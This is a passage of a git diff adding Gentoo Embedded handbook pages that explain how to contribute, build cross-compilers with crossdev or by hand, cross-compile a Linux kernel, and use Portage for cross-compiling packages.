+</p>
+
+<p>
+For more information, see the <uri link="/doc/en/bugzilla-howto.xml">Gentoo bug
+reporting guide</uri>.
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/contributing.xml b/xml/htdocs/proj/en/base/embedded/handbook/contributing.xml
new file mode 100644
index 00000000..808d6b34
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/contributing.xml
@@ -0,0 +1,114 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/contributing.xml,v 1.3 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Gentoo Embedded and you: the answer to the ever prevalent "What can I do?"
+question.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Where To Contribute</title>
+<body>
+
+<p>
+First off, please review the <uri link="communication.xml">Gentoo Embedded
+communication channels</uri> and join as needed. Please do not start with
+e-mailing specific developers.
+</p>
+
+<p>
+Below we outline the many different aspects which could use your help.
+Contribute whatever and whenever you can!
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Arch Testers</title>
+<body>
+
+<p>
+Often times considered a mighty boring job, it is unfortunately quite critical
+to the smooth running of a port.  It involves testing new packages for
+stabilization or new packages that have not yet been tested on the particular
+architecture.  Simply select your favorite embedded architecture (arm, m68k,
+mips, ppc, sh) and start watching the alias on the Gentoo Bugzilla.  When a bug
+opens requesting stabilization or arch testing, test the package in question on
+your setup and report back to the bug on how things go.  If you want to
+contribute more, sign up to be a developer yourself for the architecture in
+question and just start committing fixes yourself! :)  See our <uri
+link="/proj/en/devrel/">Gentoo Developer Relations page</uri> for more
+information.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Release Engineers</title>
+<body>
+
+<p>
+Every release of Gentoo should see updated stages for people to use as a base
+when creating a new native install.  Each architecture (arm, m68k, sh) needs a
+dedicated person to go through the process of building these stages and
+tracking down/fixing failures as they come up.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Board Developers</title>
+<body>
+
+<p>
+Got a crazy new embedded device and you want to put Gentoo on it?  Then do it!
+Once you've gone through the steps, put together a little bit of information on
+it and get it integrated into the Gentoo Embedded Handbook.  Finally, start
+making little firmware images for others to drop into their system so they can
+get a head start on the process.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Answer Questions</title>
+<body>
+
+<p>
+Have general knowledge and like to help people?  Great!  We get questions every
+day in our mailing lists/irc channels/etc... which require people to simply
+watch and answer as they can.  Maybe you'll learn a thing or two yourself!
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Documentation Writers</title>
+<body>
+
+<p>
+One of Gentoo's strong points is its documentation.  However, this stuff doesn't
+write itself, so we need people familiar with Gentoo's simple <uri
+link="/doc/en/xml-guide.xml">GuideXML documentation format</uri> to help
+maintain and expand the Gentoo Embedded documentation.
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/cross-compiler.xml b/xml/htdocs/proj/en/base/embedded/handbook/cross-compiler.xml
new file mode 100644
index 00000000..2bfb1e15
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/cross-compiler.xml
@@ -0,0 +1,654 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/cross-compiler.xml,v 1.11 2010/08/30 03:59:06 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Build a cross-compiler on your machine!
+</abstract>
+
+<version>0.3</version>
+<date>2010-04-13</date>
+
+<section>
+<title>Overview</title>
+<body>
+
+<p>
+The first thing you should know about building a toolchain is that some
+versions of toolchain components refuse to work together.  Exactly which
+combinations are problematic is a matter that's constantly in flux as the
+Portage tree evolves.  The only reliable way to determine what works is to run
+crossdev, adjusting individual component versions as necessary, until crossdev
+completes the toolchain build successfully.  Even then, the cross toolchain
+may build binaries which break on the target system.  Only through trial and
+error and patience will you arrive at a favorable combination of all factors.
+</p>
+
+<p>
+You do not have to worry about the cross-compiler interfering with your
+native build system.  All of the toolchain packages are designed such
+that they are isolated from each other based on the target.  This way
+you can install cross-compilers for whatever architecture you wish
+without breaking the rest of your system.
+</p>
+
+<p>
+However, there are some scenarios, albeit fewer as time goes on, which
+causes portage to require or to inflict changes to real root. To keep
+your Gentoo installation clean, we highly recommend that crossdev
+installation and all cross-compiling activities occur inside a Gentoo 
+stage3 chroot. (This is the same chroot you used to install Gentoo.)
+</p>
+
+</body>
+</section>
+
+<section>
+<title>crossdev</title>
+<subsection>
+<title>Intro</title>
+<body>
+
+<p>
+Generating a cross-compiler by hand was a long and painful process.  This is why
+it has been fully integrated into Gentoo! A frontend called <c>crossdev</c> will
+run <c>emerge</c> with all of the proper environment variables and install all
+the right packages to generate arbitrary cross-compilers based on your needs.
+First you'll need to install <c>crossdev</c>:
+</p>
+
+<pre caption="Install crossdev">
+# <i>emerge crossdev</i>
+</pre>
+
+<p>
+You'll probably want to install the ~arch keyworded version of crossdev to get
+all the latest fixes.
+</p>
+
+<note>
+If you are upgrading from an older version of crossdev, and have
+<c>crossdev-wrappers</c> installed, be sure to uninstall crossdev-wrappers
+first. Your existing cross-toolchains will remain intact.
+</note>
+
+<p>
+We only cover the basic usage of crossdev here, but crossdev can customize the
+process fairly well for most needs. Run <c>crossdev --help</c> to get some ideas
+on how to use crossdev. Here are a few common uses:
+</p>
+
+<pre caption="Useful crossdev options">
+<comment>(Use specific package versions)</comment>
+# <i>crossdev --g [gcc version] --l [(g)libc version] --b [binutils version] --k [kernel headers version] -P -v -t [tuple]</i>
+<comment>(Use the stable version only)</comment>
+# <i>crossdev -S -P -v -t [tuple]</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Installing</title>
+<body>
+
+<p>
+The first step is to select the proper tuple for your target.  Here we will
+assume you want to build a cross-compiler for the SH4 (SuperH) process with
+glibc running on Linux.  We will do this on a PowerPC machine.
+</p>
+
+<pre caption="Generating SH4 cross-compiler">
+# <i>crossdev --target sh4-unknown-linux-gnu</i>
+-----------------------------------------------------------------------------------------------------
+ * Host Portage ARCH:     ppc
+ * Target Portage ARCH:   sh
+ * Target System:         sh4-unknown-linux-gnu
+ * Stage:                 4 (C/C++ compiler)
+
+ * binutils:              binutils-[latest]
+ * gcc:                   gcc-[latest]
+ * headers:               linux-headers-[latest]
+ * libc:                  glibc-[latest]
+
+ * PORTDIR_OVERLAY:       /usr/local/portage
+ * PORT_LOGDIR:           /var/log/portage
+ * PKGDIR:                /usr/portage/packages/powerpc-unknown-linux-gnu/cross/sh4-unknown-linux-gnu
+ * PORTAGE_TMPDIR:        /var/tmp/cross/sh4-unknown-linux-gnu
+  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  -  ~  -  _  
+ * Forcing the latest versions of {binutils,gcc}-config/gnuconfig ...                          [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-binutils.log
+ * Emerging cross-binutils ...                                                                 [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-gcc-stage1.log
+ * Emerging cross-gcc-stage1 ...                                                               [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-linux-headers.log
+ * Emerging cross-linux-headers ...                                                            [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-glibc.log
+ * Emerging cross-glibc ...                                                                    [ ok ]
+ * Log: /var/log/portage/cross-sh4-unknown-linux-gnu-gcc-stage2.log
+ * Emerging cross-gcc-stage2 ...                                                               [ ok ]
+</pre>
+
+<note>
+At the moment it's not possible to set <c>PORTAGE_CONFIGROOT</c> before calling
+<c>crossdev</c> to a folder set to the arch you're targetting. You have to use
+your own config.  If you want to use arch specific use flags, like
+<c>altivec</c> in a non powerpc architecture, you need to unmask the use flag in
+<c>/usr/portage/base/use.mask</c>, or temporarily change your profile.
+</note>
+	
+</body>
+</subsection>
+<subsection>
+<title>Quick Test</title>
+<body>
+
+<p>
+If everything goes as planned, you should have a shiny new compiler on your
+machine.  Give it a spin!
+</p>
+
+<pre caption="Using SH4 cross-compiler">
+$ <i>sh4-unknown-linux-gnu-gcc --version</i>
+sh4-unknown-linux-gnu-gcc (GCC) 4.2.0 (Gentoo 4.2.0 p1.4)
+Copyright (C) 2007 Free Software Foundation, Inc.
+This is free software; see the source for copying conditions.  There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+$ <i>echo 'int main(){return 0;}' > sh4-test.c</i>
+$ <i>sh4-unknown-linux-gnu-gcc -Wall sh4-test.c -o sh4-test</i>
+$ <i>file sh4-test</i>
+sh4-test: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped
+</pre>
+
+<p>
+If the crossdev command failed, you have the log file which you can review to
+see if the problem is local.  If you're unable to fix the issue, you're welcome
+to file a bug in our bugzilla.  See the <uri
+link="communication.xml">Communication page</uri> for more information.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Uninstalling</title>
+<body>
+
+<p>
+To uninstall a toolchain, simply use the <c>--clean</c> option.  If you modified
+the sysroot by hand, you'll be prompted to delete things inside of it, so you
+may want to pipe <c>yes |</c> into the command.
+</p>
+
+<pre caption="Uninstalling cross-compiler">
+# <i>crossdev --clean sh4-unknown-linux-gnu</i>
+</pre>
+
+<p>
+In case you didn't already notice, deleting any and all files in the
+<path>/usr/CTARGET/</path> directory is completely safe.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Options</title>
+<body>
+
+<p>
+Obviously crossdev can do a lot more, so to find out more, simply run
+<c>crossdev --help</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Cross-compiler Internals</title>
+
+<subsection>
+<body>
+<warn>
+This section is included for posterity and in the hopes that others will find
+it useful.  The target audience is people who (for some stupid reason or
+another) really really want to create their own cross compiler with
+binutils/(glibc|uclibc)/gcc all by themselves.  This section is <b>not</b>
+meant to cover/document/whatever the myriad of build failures you are likely
+to see along the way.  If you need such help, see the
+<uri link="the-more-you-know.xml">Beyond section</uri> in the handbook for
+some pointers.  You certainly should not bug me or anyone else in Gentoo.
+</warn>
+
+<warn>
+If you're still reading, you should really check out the crosstool project
+(refer to the <uri link="the-more-you-know.xml">Beyond section</uri>) as
+that provides a distribution independent method for generating cross-compilers.
+While it does kind of suck (imo), it is certainly the best (and really only)
+option out there for creating cross-compilers.
+</warn>
+</body>
+</subsection>
+
+<subsection>
+<title>Overview</title>
+<body>
+
+<p>
+There are generally two ways to build up your cross-compiler. The "accepted"
+way, and the cheater's shortcut.
+</p>
+
+<p>
+The current "accepted" way is:
+</p>
+
+<ol>
+  <li>binutils</li>
+  <li>kernel headers</li>
+  <li>libc headers</li>
+  <li>gcc stage1 (c-only)</li>
+  <li>libc</li>
+  <li>gcc stage2 (c/c++/etc...)</li>
+</ol>
+
+<p>
+The cheater's shortcut is:
+</p>
+
+<ol>
+  <li>binutils</li>
+  <li>kernel headers</li>
+  <li>gcc stage1 (c-only)</li>
+  <li>libc</li>
+  <li>gcc stage2 (c/c++/etc...)</li>
+</ol>
+
+<p>
+The reason people are keen on the shortcut is that the libc headers step tends
+to take quite a while, especially on slower machines. It can also be kind of a
+pain to setup kernel/libc headers without a usuable cross compiler. Note though
+that if you seek help with cross-compilers, upstream projects will not want to
+help you if you took the shortcut.
+</p>
+
+<p>
+Also note that the shortcut requires the gcc stage1 to be "crippled". Since
+you're building without headers, you cannot enable the sysroot option nor can
+you build up proper gcc libs. This is OK if the only thing you use the stage1 is
+building the C library and a kernel, but beyond that you need a nice sysroot
+based compiler.
+</p>
+
+<p>
+Below I will describe the "accepted" way as the steps are pretty much the
+same.  You just need some extra patches for gcc in order to take the
+shortcut.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Sysroot</title>
+<body>
+
+<p>
+We will be cross-compiling using the sysroot method. But does the sysroot do?
+</p>
+
+<p>
+The sysroot tells GCC to consider dir as the root of a tree that contains a
+(subset of) the root filesystem of the target operating system. Target system
+headers, libraries and run-time object files will be searched in there.
+</p>
+
+<p>
+The top level dir is commonly rooted in /usr/$CTARGET
+</p>
+
+<pre caption="typical sysroot layout">
+/usr/$CTARGET/
+|-- bin/
+|-- lib/            critical runtime libs (libc/ldso/etc...)
+`-- usr/
+    |-- include/    development headers
+    |   |-- linux/      like the linux kernel
+    |   `-- asm/        like the arch-specific
+    `-- lib/        non critical runtime libs / development libs
+</pre>
+
+<p>
+As you can see, it's just like the directory setup in <path>/</path> but in
+<path>/usr/$CTARGET</path>.  This setup is of course not an accident but
+designed on purpose so you can easily migrate applications/libraries out of
+<path>/usr/$CTARGET</path> and into <path>/</path> on your target board. If you
+wanted, you could even be lazy and use the <path>/usr/$CTARGET</path> as a quick
+NFS root!
+</p>
+
+<note>
+The old style of cross-compilers was to use <c>--prefix=/usr/$CTARGET</c>. If
+you are using versions of binutils/gcc that predate sysroot support, you may
+have to do just this. I will not document this because (1) you should not be
+using such old/crusty/busted versions and (2) it's quite a huge pain compared to
+sysroot.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Binutils</title>
+<body>
+
+<p>
+Grab the latest binutils tarball and unpack it.
+</p>
+
+<p>
+The <c>--disable-werror</c> configure option is to prevent binutils from
+aborting the compile due to warnings. Great feature for developers, but a pain
+for users.
+</p>
+
+<pre caption="configure and build binutils">
+$ <i>./configure \
+	--target=$CTARGET \
+	--prefix=/usr \
+	--with-sysroot=/usr/$CTARGET \
+	--disable-werror</i>
+$ <i>make</i>
+$ <i>make install DESTDIR=$PWD/install-root</i>
+</pre>
+
+<p>
+The reason we install into the localdir is so we can remove crap that doesn't
+belong.  For example, a normal install will give us
+<path>/usr/lib/libiberty.a</path> which doesn't belong in our host
+<path>/usr/lib</path>. So clean out stuff first:
+</p>
+
+<pre caption="cleaning binutils">
+$ <i>rm -rf install-root/usr/{info,lib,man,share}</i>
+</pre>
+
+<p>
+And install what's left:
+</p>
+
+<pre caption="install binutils">
+# <i>cp -a install-root/* /</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Kernel headers</title>
+<body>
+
+<p>
+Grab the latest Linux tarball and unpack it. There are two ways of
+installing the kernel headers: sanitized and unsanitized. The former
+is clearly better (but requires a recent version of the Linux kernel),
+but we'll quickly cover both.
+</p>
+
+<note>
+Clearly you'll have to replace $ARCH with a value that makes sense for your
+platform.
+</note>
+
+<pre caption="building/installing unsanitized headers">
+$ <i>yes "" | make ARCH=$ARCH oldconfig prepare</i>
+# <i>mkdir -p /usr/$CTARGET/usr/include</i>
+# <i>cp -a include/linux include/asm-generic /usr/$CTARGET/usr/include/</i>
+# <i>cp -a include/asm-$ARCH /usr/$CTARGET/usr/include/asm</i>
+</pre>
+
+<pre caption="building/installing sanitized headers">
+# <i>make ARCH=$ARCH headers_install INSTALL_HDR_PATH=/usr/$CTARGET/usr</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>System libc headers</title>
+<body>
+
+<p>
+Grab the latest glibc tarball and unpack it. Glibc is picky, so you'll
+have to compile in a directory separate from the source code.
+</p>
+
+<pre caption="building/installing glibc headers">
+$ <i>mkdir build</i>
+$ <i>cd build</i>
+$ <i>../configure \
+	--host=$CTARGET \
+	--prefix=/usr \
+	--with-headers=/usr/$CTARGET/usr/include \
+	--without-cvs \
+	--disable-sanity-checks</i>
+# <i>make -k install-headers install_root=/usr/$CTARGET</i>
+</pre>
+
+<p>
+Glibc sucks at life so you have to do a few things by hand:
+</p>
+
+<pre caption="help glibc">
+# <i>mkdir -p /usr/$CTARGET/usr/include/gnu</i>
+# <i>touch /usr/$CTARGET/usr/include/gnu/stubs.h</i>
+# <i>cp bits/stdio_lim.h /usr/$CTARGET/usr/include/bits/</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>GCC Stage 1 (C only)</title>
+<body>
+
+<p>
+We first have to help gcc find the current libc headers.
+</p>
+
+<pre caption="help gcc">
+# <i>ln -s usr/include /usr/$CTARGET/sys-include</i>
+</pre>
+
+<p>
+Then grab the latest gcc tarball and unpack it.
+</p>
+
+<pre caption="building gcc stage 1">
+$ <i>mkdir build</i>
+$ <i>cd build</i>
+$ <i>../configure \
+	--target=$CTARGET \
+	--prefix=/usr \
+	--with-sysroot=/usr/$CTARGET \
+	--enable-languages=c \
+	--disable-shared \
+	--disable-checking \
+	--disable-werror \
+	--disable-libmudflap \
+	--disable-libssp \
+	--disable-libgomp</i>
+$ <i>make</i>
+$ <i>make install DESTDIR=$PWD/install-root</i>
+</pre>
+
+<p>
+Same as binutils, gcc leaves some stuff behind we don't want.
+</p>
+
+<pre caption="cleaning gcc stage 1">
+$ <i>rm -rf install-root/usr/{info,include,lib/libiberty.a,man,share}</i>
+</pre>
+
+<p>
+Then install what's left (everything should be in CTARGET specific directories
+which prevents overwriting your host files):
+</p>
+
+<pre caption="installing gcc stage 1">
+# <i>cp -a install-root/* /</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>System libc</title>
+<body>
+
+<p>
+Remove the old glibc build dir and recreate it.
+</p>
+
+<pre caption="building/installing glibc">
+$ <i>rm -rf build</i>
+$ <i>mkdir build</i>
+$ <i>cd build</i>
+$ <i>../configure \
+	--host=$CTARGET \
+	--prefix=/usr \
+	--without-cvs</i>
+$ <i>make</i>
+# <i>make install install_root=/usr/$CTARGET</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>GCC Stage 2 (All frontends)</title>
+<body>
+
+<p>
+Build up a full GCC now. Select whichever compiler frontends you like; we'll
+just do C/C++ for simplicity.
+</p>
+
+<pre caption="building/installing gcc stage 2">
+$ <i>./configure \
+	--target=$CTARGET \
+	--prefix=/usr \
+	--with-sysroot=/usr/$CTARGET \
+	--enable-languages=c,c++ \
+	--enable-shared \
+	--disable-checking \
+	--disable-werror</i>
+$ <i>make</i>
+# <i>make install</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Core Runtime Files</title>
+<body>
+
+<p>
+There are many random core runtime files that people wonder what they may be
+for. Let's explain.
+</p>
+
+<table>
+<tr>
+  <th colspan="2">Files provided by glibc</th>
+</tr>
+<tr>
+  <th>File</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti>crt0.o</ti>
+  <ti>
+    Older style of the initial runtime code. No one generates this anymore.
+  </ti>
+</tr>
+<tr>
+  <ti>crt1.o</ti>
+  <ti>
+    Newer style of the initial runtime code. Contains the _start symbol which
+    sets up the env with argc/argv/libc _init/libc _fini before jumping to the
+    libc main.  glibc calls this file 'start.S'.
+  </ti>
+</tr>
+<tr>
+  <ti>crti.o</ti>
+  <ti>
+    Defines the function prolog; _init in the .init section and _fini in the
+    .fini section. glibc calls this 'initfini.c'.
+  </ti>
+</tr>
+<tr>
+  <ti>crtn.o</ti>
+  <ti>Defines the function epilog. glibc calls this 'initfini.c'.</ti>
+</tr>
+<tr>
+  <ti>Scrt1.o</ti>
+  <ti>Used in place of crt1.o when generating PIEs.</ti>
+</tr>
+<tr>
+  <ti>gcrt1.o</ti>
+  <ti>
+    Used in place of crt1.o when generating code with profiling information.
+    Compile with -pg. Produces output suitable for the gprof util.
+  </ti>
+</tr>
+<tr>
+  <ti>Mcrt1.o</ti>
+  <ti>
+    Like gcrt1.o, but is used with the prof utility. glibc installs this as a
+    dummy file as it's useless on linux systems.
+  </ti>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th colspan="2">Files provided by GCC</th>
+</tr>
+<tr>
+  <th>File</th>
+  <th>Purpose</th>
+</tr>
+<tr>
+  <ti>crtbegin.o</ti>
+  <ti>GCC uses this to find the start of the constructors.</ti>
+</tr>
+<tr>
+  <ti>crtbeginS.o</ti>
+  <ti>Used in place of crtbegin.o when generating shared objects/PIEs.</ti>
+</tr>
+<tr>
+  <ti>crtbeginT.o</ti>
+  <ti>Used in place of crtbegin.o when generating static executables.</ti>
+</tr>
+<tr>
+  <ti>crtend.o</ti>
+  <ti>GCC uses this to find the start of the destructors.</ti>
+</tr>
+<tr>
+  <ti>crtendS.o</ti>
+  <ti>Used in place of crtend.o when generating shared objects/PIEs.</ti>
+</tr>
+</table>
+
+<p>
+The general linking order:
+</p>
+
+<pre caption="general linking order">
+... crt1.o crti.o crtbegin.o [-L paths] [user objects] [gcc libs] [C libs] [gcc libs] crtend.o crtn.o	
+</pre>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-kernel.xml b/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-kernel.xml
new file mode 100644
index 00000000..ce0bfc65
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-kernel.xml
@@ -0,0 +1,134 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-kernel.xml,v 1.5 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Cross-compile a kernel for your system with flair!
+</abstract>
+
+<version>0.3</version>
+<date>2010-04-13</date>
+
+<section>
+<title>Sources</title>
+<body>
+
+<p>
+First install the relevant kernel sources.  You can use a package from the
+Gentoo portage tree or fetch your own from <uri link="http://kernel.org/">The
+Linux Kernel Archive</uri> or some other random source.  The method for actually
+compiling is all the same.
+</p>
+
+<p>
+You should install the kernel into the sysroot so that if you want to
+cross-compile packages which include kernel modules, the process will be
+transparent.  Otherwise, the actual place where you build the kernel does
+not matter.  Some people build all their kernels in <path>/usr/src/</path>
+for example.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Setup Cross-compiling</title>
+<body>
+
+<p>
+There are two fundamental variables that the kernel uses to select the target
+architecture.  Normally these values are guessed based on your build
+environment, but of course that environment here does not match our target
+embedded system, so we'll need to override them.  The variables in question
+are <c>ARCH</c> and <c>CROSS_COMPILE</c>.  The default values for both are
+found in the toplevel Makefile and the values of both may be overriden on
+the command line.
+</p>
+
+<p>
+The <c>ARCH</c> variable is the architecture you're targetting as the kernel
+knows it.  So while portage and other people may use "x86", the kernel uses
+"i386".  Peek in the <path>arch/</path> subdirectory real quick to figure
+out what you want to use.
+</p>
+
+<p>
+Hopefully the <c>CROSS_COMPILE</c> variable is pretty self-explanatory.  Set
+this to the prefix of your toolchain (including the trailing dash "<c>-</c>").
+So if your toolchain is invoked as say <c>x86_64-pc-linux-gnu-gcc</c>, just
+chop off that trailing <c>gcc</c> and that's what you use:
+<c>x86_64-pc-linux-gnu-</c>.
+</p>
+
+<p>
+There is an additional variable, <c>INSTALL_MOD_PATH</c>, which defines where
+the <path>/lib</path> directory will be created, and all the modules stored.
+While you don't have to transfer the kernel sources to your target device,
+if you build any modules, you'll want this directory.
+</p>
+
+<p>
+There are really two ways you can setup the system.  You can modify the
+toplevel Makefile or you can override the relevant variables on the command
+line.  How you do it is largely a matter of taste, so we'll cover both.  Pick
+one of the following.
+</p>
+
+<pre caption="Editing Toplevel Makefile">
+<comment># This is what the vanilla Makefile looks like</comment>
+ARCH            ?= $(SUBARCH)
+CROSS_COMPILE   ?= 
+
+<comment># Set the ARCH and CROSS_COMPILE default values</comment>
+ARCH            ?= <i>arm</i>
+CROSS_COMPILE   ?= <i>arm-unknown-linux-gnu-</i>
+</pre>
+
+<pre caption="Overriding On The Commandline">
+# <i>make ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnu- ....</i>
+</pre>
+
+<p>
+You can use a little helper script if you need to hop between different kernel
+trees at the sametime.  We'll call this script <c>xkmake</c>.
+</p>
+
+<pre caption="xkmake">
+#!/bin/sh
+exec make ARCH="arm" CROSS_COMPILE="arm-unknown-linux-gnu-" INSTALL_MOD_PATH="${SYSROOT}" "$@"
+</pre>
+
+<p>
+So now when you want to build a kernel or do anything else, you just execute
+<c>xkmake</c> in place of <c>make</c>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Configure and Compile</title>
+<body>
+
+<p>
+At this point, configuring and compiling the kernel is like any other kernel,
+so we won't go into depth as there are plenty of HOWTOs and guides out there
+which can treat the subject in much greater detail.
+</p>
+
+<pre caption="Configure and Compile">
+# <i>cd "${SYSROOT}/usr/src/linux"</i>
+# <i>xkmake menuconfig</i>
+# <i>xkmake</i>
+</pre>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-packages.xml b/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-packages.xml
new file mode 100644
index 00000000..63caa97a
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-packages.xml
@@ -0,0 +1,180 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/cross-compiling-packages.xml,v 1.11 2010/08/30 03:26:01 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Leverage Portage as a cross-compiling package manager.
+</abstract>
+
+<version>5</version>
+<date>2010-08-29</date>
+
+<section>
+<title>Variables</title>
+<body>
+
+<p>
+There are a few important variables that we will use throughout this section.
+</p>
+
+<table>
+ <tr>
+  <th>Variable</th>
+  <th>Meaning</th>
+ </tr>
+ <tr>
+  <ti>CBUILD</ti>
+  <ti>Platform you are building on</ti>
+ </tr>
+ <tr>
+  <ti>CHOST</ti>
+  <ti>Platform you are compiling for</ti>
+ </tr>
+ <tr>
+  <ti>ROOT</ti>
+  <ti>The virtual <path>/</path> you are installing into</ti>
+ </tr>
+ <tr>
+  <ti>PORTAGE_CONFIGROOT</ti>
+  <ti>
+    The virtual <path>/</path> portage can find its config files (like
+    <path>make.conf</path>)
+  </ti>
+ </tr>
+</table>
+
+<p>
+You can either set this all by hand, but that obviously gets quite tedious very
+quickly.  A better idea is to stick these into a shell script so you can avoid
+typing it out all the time.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Filesystem Setup</title>
+<body>
+
+<p>
+Cross-compiling a system generally involves two directory trees.  The first is
+where all development files are normally installed.  This is your sysroot.  The
+other tree is where only your runtime files are installed.  You emerge all of
+your fun packages into your sysroot (without trimming down any files), and then
+either install via binary packages or copying files by hand all the stuff you
+need in your runtime tree.
+</p>
+
+<p>
+The common convention is to use your <path>/usr/CTARGET/</path> tree as your
+sysroot as the include/library directories in this tree are already encoded
+into the gcc cross-compiler for searching.  You could use another directory
+and then add custom -I/-L paths to your CPPFLAGS/LDFLAGS, but this has
+historically proven to be problematic.  Yes, it works most of the time, but
+the corner cases are why this method is discouraged.  In the embedded handbook,
+we'll assume you're using the sysroot as your development ROOT.
+</p>
+
+<p>
+For your runtime system, you'll need a much slimmer/trimmed-down setup.  The
+files you remove from a normal installed package is why this tree is not
+suitable for compiling against.  If you build binary packages while installing
+into your sysroot, then you can use those binary packages in conjunction with
+the <c>INSTALL_MASK</c> variable to trim out most things. See <c>man
+make.conf</c> for more information.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Intro: crossdev's wrappers</title>
+<body>
+
+<p>
+These are simple wrapper scripts that will setup the environment 
+variables to point to the right places for you to be able to cross 
+compile using emerge. PORTAGE_CONFIGROOT and ROOT both point to the 
+SYSROOT.
+</p>
+
+<pre caption="crossdev's wrappers">
+# <i>emerge crossdev</i>
+</pre>
+
+<note>
+Before beginning any cross-emerge, you'll need to run <c>emerge-wrapper
+--init</c>. Be sure to follow any instructions printed by <c>emerge-wrapper</c>
+before beginning your cross-emerge.
+</note>
+
+<p>
+We can use these tools for both installing into your development root 
+(sysroot) and into your runtime root.  For the latter, simply specify 
+by using the <c>--root</c> option. For example if you had merged via crossdev 
+an <c>armv4tl-softfloat-linux-gnueabi</c> toolchain you would then invoke the 
+command just like normal emerge. But using the <c>ctarget</c> prefix:
+</p>
+
+<pre caption="CTARGET-emerge">
+# <i>armv4tl-softfloat-linux-gnueabi-emerge pkg0 pkg1 pkg2</i>
+</pre>
+
+<p>
+By default these wrappers use the <c>--root-deps=rdeps</c> option to avoid 
+the host dependencies from being pulled into the deptree. This can lead to
+incomplete deptrees. Therefore you may want to use --root-deps alone to see
+the full depgraph.
+</p>
+
+<p>
+By default the wrappers will link to the generic embedded profile. This 
+is done to simpilify things, but the user may wish to use a more 
+advanced targeted profile. In order to do that we can update the profile symlink.
+</p>
+
+<pre caption="${SYSROOT}/etc/make.profile">
+# <i>ln -s /usr/portage/profiles/default/linux/arm/10.0 ${SYSROOT}/etc/make.profile</i>
+</pre>
+
+<p>
+And naturally to change settings for the target system like USE flags, 
+FEATURES, and VIDEO_CARDS. We would edit the standard portage config files.
+</p>
+
+<pre caption="${SYSROOT}/etc/make.conf">
+# <i>$EDITOR ${SYSROOT}/etc/make.conf</i>
+</pre>
+
+<p>
+Sometimes there are some additional tests we need override for configure
+scripts. To do this the wrappers export a few variables to force the test to get
+the answer it should. This will help prevent bloat in packages which add local
+functions to workaround issues it assumes your system has because it could not
